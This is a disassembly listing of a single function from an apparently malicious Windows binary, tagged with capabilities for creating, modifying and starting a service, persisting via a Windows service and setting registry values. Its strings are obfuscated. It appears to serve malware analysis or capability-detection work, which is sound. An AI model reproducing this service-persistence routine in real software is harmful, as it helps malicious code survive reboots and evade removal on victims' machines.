Function at 0x1001a46c
Capabilities:
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1008cefa
mov eax, dword fs:[0]
push eax
sub esp, 0x398
mov eax, dword [0x100ba410]
xor eax, esp
mov dword [esp + 0x390], eax
push ebx
push esi
push edi
mov eax, dword [0x100ba410]
xor eax, esp
push eax
lea eax, [esp + 0x3a8]
mov dword fs:[0], eax
mov dword [esp + 0x20], ecx
mov ebx, dword [ebp + 8]
mov esi, 0x1009c74c
push esi
call fcn.1000e2d9
pop ecx
push eax
push esi
push dword [ebx + 0x10]
push ecx
mov ecx, ebx
call fcn.1001b513
test eax, eax
jne 0x1001a4e5
push 0x104
lea eax, [esp + 0x298]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov dword [esp + 0x2c], edi
test edi, edi
je 0x1001a976
mov edx, str.AaZi2m_RonAu
lea ecx, [esp + 0x44]
call fcn.10002295
and dword [esp + 0x3b0], 0
cmp dword [eax + 0x14], 0x10
jb 0x1001a520
mov eax, dword [eax]
push 0x10
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
or dword [esp + 0x3b0], 0xffffffff
push 0
push 1
lea ecx, [esp + 0x4c]
call fcn.10002c1a
test esi, esi
je 0x1001a550
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
xor eax, eax
push 0x103
push eax
mov dword [esp + 0x2c], eax
mov byte [esp + 0x94], al
lea eax, [esp + 0x95]
push eax
call fcn.10023400
xor eax, eax
add esp, 0xc
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x70], 0xf
mov dword [esp + 0x6c], eax
mov byte [esp + 0x5c], al
mov dword [esp + 0x3b0], 1
mov edx, str.AR8jddZvZRUOr8oO_1oa7VU9LcAadVvGZ8UO2M4adzvuu
lea ecx, [esp + 0x44]
call fcn.10002295
mov byte [esp + 0x3b0], 2
lea ecx, [esp + 0x5c]
push 0xffffffffffffffff
push 0
push eax
call fcn.100063d5
mov byte [esp + 0x3b0], 1
lea ecx, [esp + 0x44]
push 0
push 1
call fcn.10002c1a
mov esi, dword [esp + 0x20]
add esi, 4
push esi
mov dword [esp + 0x18], esi
call fcn.1000e2d9
pop ecx
push eax
push esi
lea ecx, [esp + 0x64]
call fcn.1000a5c3
mov edx, str.vGETU9GC2v_8UOQu
lea ecx, [esp + 0x44]
call fcn.10002295
mov byte [esp + 0x3b0], 3
lea ecx, [esp + 0x5c]
push 0xffffffffffffffff
push 0
push eax
call fcn.100063d5
mov byte [esp + 0x3b0], 1
lea ecx, [esp + 0x44]
push 0
push 1
call fcn.10002c1a
mov edx, str.NzMUda8B2nLgUR6jhvZV2mVzQ86zY9ZiogZVp9df20uCFtuu
lea ecx, [esp + 0x44]
call fcn.10002295
mov byte [esp + 0x3b0], 4
cmp dword [eax + 0x14], 0x10
jb 0x1001a645
mov eax, dword [eax]
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x94]
push 0x104
push eax
call fcn.1001f294
add esp, 0x10
mov byte [esp + 0x3b0], 1
push 0
push 1
lea ecx, [esp + 0x4c]
call fcn.10002c1a
push 0x40
push esi
lea eax, [esp + 0x94]
push 0x104
push eax
call fcn.1001f294
add esp, 0x10
xor eax, eax
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0xa0]
push eax
push 1
push 2
push 0x20
push 0xf01ff
push esi
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [esp + 0x1c], eax
test eax, eax
je 0x1001a7dc
mov edx, str.AVLndGYEAsdUjm8yU9Lzoa2VvGYMo9_IYgQqj8_UNgdtU9dBYG28UOZMoa7UAg2yFnLzYuu
lea ecx, [esp + 0x74]
call fcn.10002295
mov byte [esp + 0x3b0], 5
cmp dword [eax + 0x14], 0x10
jb 0x1001a6d7
mov eax, dword [eax]
push 0x40
push esi
push 7
push esi
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov esi, eax
mov byte [esp + 0x3b0], 1
push 0
push 1
lea ecx, [esp + 0x7c]
call fcn.10002c1a
test esi, esi
jne 0x1001a7d8
mov edx, str.AadtY98y2A_couu
lea ecx, [esp + 0x74]
call fcn.10002295
mov edx, eax
mov byte [esp + 0x3b0], 6
cmp dword [ebx + 0x14], 0x10
mov eax, dword [ebx + 0x10]
jb 0x1001a72d
mov esi, dword [ebx]
jmp 0x1001a72f
mov esi, ebx
cmp dword [edx + 0x14], 0x10
jb 0x1001a737
mov edx, dword [edx]
cmp dword [esp + 0x70], 0x10
lea ecx, [esp + 0x5c]
inc eax
cmovae ecx, dword [esp + 0x5c]
push eax
push esi
push 2
push edx
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov esi, eax
mov byte [esp + 0x3b0], 1
push 0
push 1
lea ecx, [esp + 0x7c]
call fcn.10002c1a
test esi, esi
jne 0x1001a7d8
push esi
push esi
mov esi, dword [esp + 0x24]
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x1001a7d8
xor ecx, ecx
mov dword [esp + 0x48], 0x1499700
xor eax, eax
mov dword [esp + 0x30], ecx
lea edi, [esp + 0x34]
mov dword [esp + 0x50], ecx
stosd dword es:[edi], eax
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x58], ecx
mov dword [esp + 0x54], ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x44]
mov dword [esp + 0x40], eax
xor edi, edi
lea eax, [esp + 0x30]
mov dword [esp + 0x3c], 3
push eax
push 2
inc edi
push esi
mov dword [esp + 0x50], edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [esp + 0x24], edi
mov edi, dword [esp + 0x2c]
mov esi, dword [esp + 0x14]
and dword [esp + 0x18], 0
lea ecx, [esp + 0x74]
mov edx, str.AR8jddZvZRUOr8oO_1oa7VU9LcAadVvGZ8UO2M4adzvda2m7VjnLOvGkUn6M4aGVFmLBvldzuu
call fcn.10002295
mov byte [esp + 0x3b0], 7
cmp dword [eax + 0x14], 0x10
jb 0x1001a7ff
mov eax, dword [eax]
push esi
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x1a0]
push 0x100
push eax
call fcn.1001f145
add esp, 0x14
mov byte [esp + 0x3b0], 1
push 0
push 1
lea ecx, [esp + 0x7c]
call fcn.10002c1a
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x198]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1001a85f
push dword [esp + 0x1c]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
xor esi, esi
jmp 0x1001a95f
cmp dword [ebx + 0x14], 0x10
jb 0x1001a869
mov esi, dword [ebx]
jmp 0x1001a86b
mov esi, ebx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1001a86e
sub esi, ecx
mov edx, str._v28oO_Z2vZz4mY8_98c2Nu
lea ecx, [esp + 0x74]
call fcn.10002295
mov ecx, eax
mov byte [esp + 0x3b0], 8
cmp dword [ebx + 0x14], 0x10
jb 0x1001a899
mov edx, dword [ebx]
jmp 0x1001a89b
mov edx, ebx
cmp dword [ecx + 0x14], 0x10
jb 0x1001a8a3
mov ecx, dword [ecx]
lea eax, [esi + 1]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push edx
push 2
push 0
push ecx
push dword [esp + 0x2c]
call esi
mov byte [esp + 0x3b0], 1
lea ecx, [esp + 0x74]
push 0
push 1
call fcn.10002c1a
mov edx, str.dP8k2vZjYvEkogrV2mNu
mov dword [esp + 0x28], 7
lea ecx, [esp + 0x74]
call fcn.10002295
mov byte [esp + 0x3b0], 9
cmp dword [eax + 0x14], 0x10
jb 0x1001a8f4
mov eax, dword [eax]
push 4
lea ecx, [esp + 0x2c]
push ecx
push 4
push 0
push eax
push dword [esp + 0x2c]
call esi
mov byte [esp + 0x3b0], 1
lea ecx, [esp + 0x74]
push 0
push 1
call fcn.10002c1a
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
push ecx
push dword [esp + 0x1c]
mov ecx, dword [esp + 0x2c]
push 0x64
push 4
call fcn.1000ad66
push dword [esp + 0x1c]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov esi, dword [esp + 0x24]
test esi, esi
jne 0x1001a95f
cmp dword [ebx + 0x14], 0x10
jb 0x1001a957
mov ebx, dword [ebx]
push ebx
call fcn.1001a99c
mov esi, eax
or dword [esp + 0x3b0], 0xffffffff
lea ecx, [esp + 0x5c]
push 0
push 1
call fcn.10002c1a
mov eax, esi
mov ecx, dword [esp + 0x3a8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x390]
xor ecx, esp
call fcn.1001e010
mov esp, ebp
pop ebp
ret 4